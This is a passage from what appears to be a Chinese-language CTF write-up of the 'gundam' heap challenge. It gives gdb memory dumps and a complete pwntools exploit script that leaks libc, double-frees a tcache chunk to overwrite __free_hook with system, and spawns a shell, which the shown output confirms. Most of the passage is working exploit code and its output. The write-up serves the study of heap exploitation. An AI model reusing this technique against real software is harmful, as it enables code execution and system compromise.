0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000 0x0000000000000111
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
0x555555757a20: 0x0000000000000000 0x0000000000000000
其 fd 指针指向了它自己。
接下来的 malloc 将改写 __free_hook
的地址:
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000 0x0000000000000111
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
0x555555757a20: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd48a8
0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
pwn
def pwn():
destroy(1)
io.interactive()
Bingo!!!
$ python exp.py
[+] Starting local process './gundam': pid 7264
[*] Switching to interactive mode
$ whoami
firmy
exploit
完整的 exp 如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./gundam'], env={'LD_PRELOAD':'./libc-2.26.so'})
#elf = ELF('gundam')
libc = ELF('libc-2.26.so')
def build(name):
io.sendlineafter("choice : ", '1')
io.sendlineafter("gundam :", name)
io.sendlineafter("gundam :", '0')
def visit():
io.sendlineafter("choice : ", '2')
def destroy(idx):
io.sendlineafter("choice : ", '3')
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", '4')
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
def pwn():
destroy(1)
io.interactive()
if __name__ == "__main__":
leak()
overwrite()
pwn()